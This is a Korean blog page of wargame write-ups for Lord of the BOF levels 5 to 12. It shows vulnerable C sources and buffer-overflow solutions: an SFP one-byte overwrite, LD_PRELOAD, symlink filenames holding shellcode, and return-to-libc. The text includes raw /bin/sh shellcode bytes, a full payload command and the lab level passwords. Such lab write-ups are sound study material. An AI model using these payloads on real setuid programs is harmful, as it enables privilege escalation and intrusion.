'워게임(WarGame)'에 해당되는 글 38건
- 2011.06.08 [LEVEL12] golem -> darkknight (sfp) 1
- 2011.06.08 [LEVEL11] skeleton -> golem (stack destroyer)
- 2011.06.07 [LEVEL10] vampire -> skeleton (argv hunter)
- 2011.06.05 [LEVEL9] troll -> vampire (check 0xbfff)
- 2011.06.04 [LEVEL8] orge -> troll (check argc)
- 2011.06.02 [LEVEL7] darkelf -> orge (check argv[0])
- 2011.06.02 [LEVEL6] wolfman -> darkelf (check length of argv[1] + egghunter + bufferhunter)
- 2011.06.02 [LEVEL5] orc -> wolfman (egghunter + bufferhunter)
⊙ 문제의 소스를 보자) |
#include <stdio.h> #include <stdlib.h>
void problem_child(char *src) { char buffer[40]; strncpy(buffer, src, 41); printf("%s\n", buffer); }
main(int argc, char *argv[]) { if(argc<2){ printf("argv error\n"); exit(0); }
problem_child(argv[1]); } |
♧ 이번 문제는 RET이 아닌 SFP의 1Byte를 변조하여 프로그램의 실행 흐름을 바꾸는 문제이다. | ||
① main에서 problem_child() 호출
(*strncpy 호출 후 스택 내용) ③ problem_child의 프레임에 leave 명령을 통해
SFP가 있는 곳으로 이동 후 변조된 ebp값을 pop 함으로써 main()의 ebp값은 변조된 ebp값으로 저장. ④ child 프레임의 RET을 통해 다시 main 프레임으로 복귀. ⑤ main 프레임의 leave가 수행된다.
⑥ 마지막으로 ret 명령으로, eip 는 esp를 참조해서 다음 실행할 주소로 점프 한다.
♧이렇듯 1Byte의 변조만으로 실행흐름이 바뀔 수 있다. |
∑ 익스 플로잇 작성! | ||
① 대략적인 구성. ( buffer 주소 :: [ 0xffffac4 ] 위 그림 참조.)
② 공격 스크립트 작성
③ ∑xploit
|
※ 사전에 chsh명령 -> bash2로 변경 후 재로그인 함.
golem : "cup of coffee"
'워게임(WarGame) > BOF원정대(LOF)' 카테고리의 다른 글
[LEVEL14] bugbear -> giant (RTL2, only execve) (0) | 2011.06.09 |
---|---|
[LEVEL13] darkknight -> bugbear (RTL1) (0) | 2011.06.08 |
[LEVEL11] skeleton -> golem (stack destroyer) (0) | 2011.06.08 |
[LEVEL10] vampire -> skeleton (argv hunter) (0) | 2011.06.07 |
[LEVEL9] troll -> vampire (check 0xbfff) (0) | 2011.06.05 |
⊙ 문제의 소스를 보자) |
#include <stdio.h> #include <stdlib.h>
extern char **environ;
main(int argc, char *argv[]) { char buffer[40]; int i;
if(argc < 2){ printf("argv error\n"); exit(0); }
if(argv[1][47] != '\xbf') { printf("stack is still your friend.\n"); exit(0); }
strcpy(buffer, argv[1]); printf("%s\n", buffer);
// stack destroyer! memset(buffer, 0, 44); memset(buffer+48, 0, 0xbfffffff - (int)(buffer+48)); } |
1) if문으로 argv[1][47] != '\xbf' 체크. |
♧ 공유 라이브러리 이름을 쉘코드로 하여 LD_PRELOAD 등록 후 스택 찌꺼기?에 남아있는 곳을 찾아 RET으로 설정한다.
∑ 익스 플로잇 작성! | ||||
① 공유 라이브러리 생성
② LD_PRELOAD 환경변수 등록
③ GDB로 RET 주소 찾기. (사본::cp golem melog)
④ ∑xploit
|
♣ 기타 사항 |
ⓐ LD_PRELOAD로 등록 후 원본(golem)과 사본(melog)의 libc주소가 서로 틀려 졌다. ⓑ 그리하여 RTL을 이용 하여 만든 쉘코드는 원본(golem)에 적용되었다. (이유는 잘 모르겠다 좀더 시간 내서 공부를 해야 될듯...-_)
|
golem : "cup of coffee"
'워게임(WarGame) > BOF원정대(LOF)' 카테고리의 다른 글
[LEVEL13] darkknight -> bugbear (RTL1) (0) | 2011.06.08 |
---|---|
[LEVEL12] golem -> darkknight (sfp) (1) | 2011.06.08 |
[LEVEL10] vampire -> skeleton (argv hunter) (0) | 2011.06.07 |
[LEVEL9] troll -> vampire (check 0xbfff) (0) | 2011.06.05 |
[LEVEL8] orge -> troll (check argc) (0) | 2011.06.04 |
⊙ 문제의 소스를 보자) |
[vampire@localhost vampire]$ cat skeleton.c /* The Lord of the BOF : The Fellowship of the BOF - skeleton - argv hunter */ #include <stdio.h> #include <stdlib.h>
extern char **environ;
main(int argc, char *argv[]) { char buffer[40]; int i, saved_argc;
if(argc < 2){ printf("argv error\n"); exit(0); }
// egghunter for(i=0; environ[i]; i++) memset(environ[i], 0, strlen(environ[i]));
if(argv[1][47] != '\xbf') { printf("stack is still your friend.\n"); exit(0); }
// check the length of argument if(strlen(argv[1]) > 48){ printf("argument is too long!\n"); exit(0); }
// argc saver saved_argc = argc;
strcpy(buffer, argv[1]); printf("%s\n", buffer);
// buffer hunter memset(buffer, 0, 40);
// ultra argv hunter! for(i=0; i<saved_argc; i++) memset(argv[i], 0, strlen(argv[i])); } |
1) 환경변수(Environment) 초기화.
|
※ Argument 배열이 전부 초기화 되었지만 스택 끝에 프로그램 이름 주소가 남아있다. |
♧ 이유는 모르겠지만 LEVEL8에 "\x2f"이 없는 쉘코드가 제대로 동작하지 않아 [Return-to-lib 기법을 이용한 쉘코드 생성]을 참조하여 쉘코드를 다시 만들었다. |
.global main main: push $0x400391e0 ;# exit movl $0x40058ae0, %eax ;# system push %eax ret |
"\x68\xf9\xbf\x0f\x40\x68\xe0\x91\x03\x40\xb8\xe0\x8a\x05\x40\x50\xc3"
|
∑ 익스플로잇 작성! | |||||
① 사본 생성
② GDB로 RET 주소 찾기.
③ 사본 삭제후 원본 심볼릭 링크 ④ 최종 익스플로잇 작성
⑤ ∑xploit
|
※ 사전에 chsh명령 -> bash2로 사전 변경후 재로그인 함.
vampire : "music world"
'워게임(WarGame) > BOF원정대(LOF)' 카테고리의 다른 글
[LEVEL12] golem -> darkknight (sfp) (1) | 2011.06.08 |
---|---|
[LEVEL11] skeleton -> golem (stack destroyer) (0) | 2011.06.08 |
[LEVEL9] troll -> vampire (check 0xbfff) (0) | 2011.06.05 |
[LEVEL8] orge -> troll (check argc) (0) | 2011.06.04 |
[LEVEL7] darkelf -> orge (check argv[0]) (0) | 2011.06.02 |
⊙ 문제의 소스를 보자) |
[troll@localhost troll]$ cat vampire.c /* The Lord of the BOF : The Fellowship of the BOF - vampire - check 0xbfff */
#include <stdio.h> #include <stdlib.h>
main(int argc, char *argv[]) { char buffer[40];
if(argc < 2){ printf("argv error\n"); exit(0); }
if(argv[1][47] != '\xbf') { printf("stack is still your friend.\n"); exit(0); }
// here is changed! if(argv[1][46] == '\xff') { printf("but it's not forever\n"); exit(0); }
strcpy(buffer, argv[1]); printf("%s\n", buffer); } |
1) if문을 통해 argv[1][47] != "\xbf" 체크. |
♧ 스택 주소공간은 "0xbfff~"로 하향 성장 한다. [ 참조 ]
♧ argv[1][46]에 "\xff"가 되지 않도록 하기 위해서 실행 인자를 통해 길이를 늘려 조작한다.
※ 단, 길이를 조작 할 때 너무 큰 값을 주면 "Argument list too long" 에러 메시지가 출력된다. |
|
∑ 익스 플로잇 작성! | ||||||||||
※ 여기선 NOP썰매를 사용 할 필요는 없지만 GDB로 RET주소를 확인 할 경우 오차를 줄이기 위해 사용.
② 컴파일후 임의의 값으로 실행.
③ RET주소 변경.
④ ∑xploit
|
♣ 기타 사항 |
ⓐ GDB로 RET 주소 확인 & ∑xploit
ⓑ GDB로 확인한 argv[2] 주소값 :: [ 0xbfffec3b4 ] ⓒ 실제 주소와 GDB로 확인한 주소값 차이 :: [ 2 ] = [ 0xbfffec3b4 ] - [ 0xbfffec3b2 ] |
※ 사전에 chsh명령 -> bash2로 사전 변경후 재로그인 함.
troll : "aspirin"
'워게임(WarGame) > BOF원정대(LOF)' 카테고리의 다른 글
[LEVEL11] skeleton -> golem (stack destroyer) (0) | 2011.06.08 |
---|---|
[LEVEL10] vampire -> skeleton (argv hunter) (0) | 2011.06.07 |
[LEVEL8] orge -> troll (check argc) (0) | 2011.06.04 |
[LEVEL7] darkelf -> orge (check argv[0]) (0) | 2011.06.02 |
[LEVEL6] wolfman -> darkelf (check length of argv[1] + egghunter + bufferhunter) (0) | 2011.06.02 |
⊙ 문제의 소스를 보자) |
[orge@localhost orge]$ cat troll.c /* The Lord of the BOF : The Fellowship of the BOF - troll - check argc + argv hunter */
#include <stdio.h> #include <stdlib.h>
extern char **environ;
main(int argc, char *argv[]) { char buffer[40]; int i;
// here is changed if(argc != 2){ printf("argc must be two!\n"); exit(0); }
// egghunter for(i=0; environ[i]; i++) memset(environ[i], 0, strlen(environ[i]));
if(argv[1][47] != '\xbf') { printf("stack is still your friend.\n"); exit(0); }
// check the length of argument if(strlen(argv[1]) > 48){ printf("argument is too long!\n"); exit(0); }
strcpy(buffer, argv[1]); printf("%s\n", buffer);
// buffer hunter memset(buffer, 0, 40);
// one more! memset(argv[1], 0, strlen(argv[1])); } |
1) 인자의 개수는 2여야 함. 2) 환경변수(Environment) 초기화. 3) argv[1][47] == "\xbf" 4) argv[1]의 길이는 48보다 크면 안됨. 5) 버퍼초기화. 6) argv[1] 초기화. |
♧ 인자의 개수가 2개를 만족해야 함으로 argv[0]과 argv[1]만이 사용가능.
♧ argv[1] 마저도 초기화 됨으로 결국
심볼릭링크(Symbolic link)를 이용하여 파일이름을 쉘코드로 변조하여 문제를 풀어야 한다.
※ 단, 쉘코드에 "\x2f"(/) 들어가면 "cannot create symbolic link" 라는 문구가 보일 것 이다. |
(그래서 이전에 사용하던 쉘코드는 던져 버리고 "\x2f"가 없는 쉘코드로 대체해야 한다.)
▦ "\x2f"가 없는 쉘코드 ▦ |
"\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81" |
∑ 익스 플로잇 작성! | |||||
① 사본을 만들어 마지막 행에 argv[0]의 주소값 출력문을 삽입.
② 컴파일후 임의의 값으로 실행.
③ 사본 삭제후 원본에 심볼릭 링크.
④ 확인한 argv[0]값으로 RET 변경 후 익스플로잇 작성
⑤ 익스플로잇!
|
♣ 기타 사항 |
ⓐ GDB로 확인한 argv[0] 주소값 :: [ 0xbffffbee ] ※ 왜 44Byte의 차이가 나는지는 정확히 모름. ("이름길이나 buffer ~ RET 주소 전까지의 오프셋 길이의 차이가 아닐까?" 라고 혼자만의 추정중..-_;) |
※ 사전에 chsh명령 -> bash2로 사전 변경후 재로그인 함.
orge : "timewalker"
'워게임(WarGame) > BOF원정대(LOF)' 카테고리의 다른 글
[LEVEL10] vampire -> skeleton (argv hunter) (0) | 2011.06.07 |
---|---|
[LEVEL9] troll -> vampire (check 0xbfff) (0) | 2011.06.05 |
[LEVEL7] darkelf -> orge (check argv[0]) (0) | 2011.06.02 |
[LEVEL6] wolfman -> darkelf (check length of argv[1] + egghunter + bufferhunter) (0) | 2011.06.02 |
[LEVEL5] orc -> wolfman (egghunter + bufferhunter) (0) | 2011.06.02 |
⊙ 문제의 소스를 보자) |
[darkelf@localhost darkelf]$ cat orge.c /* The Lord of the BOF : The Fellowship of the BOF - orge - check argv[0] */
#include <stdio.h> #include <stdlib.h>
extern char **environ;
main(int argc, char *argv[]) { char buffer[40]; int i;
if(argc < 2){ printf("argv error\n"); exit(0); }
// here is changed! if(strlen(argv[0]) != 77){ printf("argv[0] error\n"); exit(0); }
// egghunter for(i=0; environ[i]; i++) memset(environ[i], 0, strlen(environ[i]));
if(argv[1][47] != '\xbf') { printf("stack is still your friend.\n"); exit(0); }
// check the length of argument if(strlen(argv[1]) > 48){ printf("argument is too long!\n"); exit(0); }
strcpy(buffer, argv[1]); printf("%s\n", buffer);
// buffer hunter memset(buffer, 0, 40); } |
+ argv[0]의 길이를 77자로 맞추는 if문이 추가 되었습니다. |
* 이름 길이를 77자로 맞추는 것을 외에는 틀려진 점이 없습니다.
1) 이름길이를 77자로 맞추는법. |
① "./" 은 현재디렉토리를 의미하며 ".////" 이처럼 추가로 많이 와도 상관없습니다.
② 심볼릭 링크를 이용 (하드링크도 상관 없음) ("./"를 제외한 75자.) # ln orge -s $(python -c 'print "a"*75"') |
※ 그럼 이전과 같이 바로 확인 들어가 보도록 하죠.
$(python -c 'print "."+"/"*72 + "orge"') $(python -c 'print "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80" + "\x90"*20 + "\xb7\xfb\xff\xbf"') |
성공!!!
|
darkelf : "kernel crashed"
'워게임(WarGame) > BOF원정대(LOF)' 카테고리의 다른 글
[LEVEL9] troll -> vampire (check 0xbfff) (0) | 2011.06.05 |
---|---|
[LEVEL8] orge -> troll (check argc) (0) | 2011.06.04 |
[LEVEL6] wolfman -> darkelf (check length of argv[1] + egghunter + bufferhunter) (0) | 2011.06.02 |
[LEVEL5] orc -> wolfman (egghunter + bufferhunter) (0) | 2011.06.02 |
[LEVEL4] goblin -> orc (egghunter) (1) | 2011.06.02 |
⊙ 문제의 소스를 보자) |
[wolfman@localhost wolfman]$ cat darkelf.c /* The Lord of the BOF : The Fellowship of the BOF - darkelf - egghunter + buffer hunter + check length of argv[1] */
#include <stdio.h> #include <stdlib.h>
extern char **environ;
main(int argc, char *argv[]) { char buffer[40]; int i;
if(argc < 2){ printf("argv error\n"); exit(0); }
// egghunter for(i=0; environ[i]; i++) memset(environ[i], 0, strlen(environ[i]));
if(argv[1][47] != '\xbf') { printf("stack is still your friend.\n"); exit(0); }
// check the length of argument if(strlen(argv[1]) > 48){ printf("argument is too long!\n"); exit(0); }
strcpy(buffer, argv[1]); printf("%s\n", buffer);
// buffer hunter memset(buffer, 0, 40); } |
+ [ LEVEL5 ] 에서 틀려진 점은 argv[1]의 길이를 체크 하네요. |
※ [ LEVEL5 ] 와 똑같음으로 바로 확인해 보도록 하죠 | |
성공!! |
wolfman : "love eyuna"
'워게임(WarGame) > BOF원정대(LOF)' 카테고리의 다른 글
[LEVEL8] orge -> troll (check argc) (0) | 2011.06.04 |
---|---|
[LEVEL7] darkelf -> orge (check argv[0]) (0) | 2011.06.02 |
[LEVEL5] orc -> wolfman (egghunter + bufferhunter) (0) | 2011.06.02 |
[LEVEL4] goblin -> orc (egghunter) (1) | 2011.06.02 |
[LEVEL3] cobolt -> goblin (small buffer + stdin) (0) | 2011.06.02 |
⊙ 문제의 소스를 보자) |
[orc@localhost orc]$ cat wolfman.c /* The Lord of the BOF : The Fellowship of the BOF - wolfman - egghunter + buffer hunter */
#include <stdio.h> #include <stdlib.h>
extern char **environ;
main(int argc, char *argv[]) { char buffer[40]; int i;
if(argc < 2){ printf("argv error\n"); exit(0); }
// egghunter for(i=0; environ[i]; i++) memset(environ[i], 0, strlen(environ[i]));
if(argv[1][47] != '\xbf') { printf("stack is still your friend.\n"); exit(0); } strcpy(buffer, argv[1]); printf("%s\n", buffer);
// buffer hunter memset(buffer, 0, 40); } + [LEVEL4]와 틀려진 곳은 맨 마지막 줄에 memset(buffer, 0, 40)으로 buffer를 40Byte 초기화 |
1) 셸코드는 어디에? | ||||||||||||
* 우리가 흔히 공격문으로 인자값을 넘겨 줄때 인자 배열 안에 들어가게 됩니다. [ 참조 ]
*그러므로 memset()으로 buffer가 초기화 되더라도 실행 인자로 넘겨준 공격문은 스택안에 남아 있게 됩니다. |
* 그럼 argv[1]에 들어있는 문자열의 주소(공격문)을 찾아야 겠네요.
2) 리턴 주소 값을 찾아 보자! | ||||
※ [ LEVEL 4 ]에서 공격문을 그대로 가져다가 테스트 하였습니다. ① wolfman.c 사본을 만들어 주소값을 확인해 봅시다.
② 리턴 주소를 찾았으니 변경 후 다시 확인.
|
3) 원본 공격 확인. | |
*바뀐 공격문
완료!!! |
orc : "cantata"
'워게임(WarGame) > BOF원정대(LOF)' 카테고리의 다른 글
[LEVEL7] darkelf -> orge (check argv[0]) (0) | 2011.06.02 |
---|---|
[LEVEL6] wolfman -> darkelf (check length of argv[1] + egghunter + bufferhunter) (0) | 2011.06.02 |
[LEVEL4] goblin -> orc (egghunter) (1) | 2011.06.02 |
[LEVEL3] cobolt -> goblin (small buffer + stdin) (0) | 2011.06.02 |
[LEVEL2] gremlin -> cobolt (small buffer) (0) | 2011.06.02 |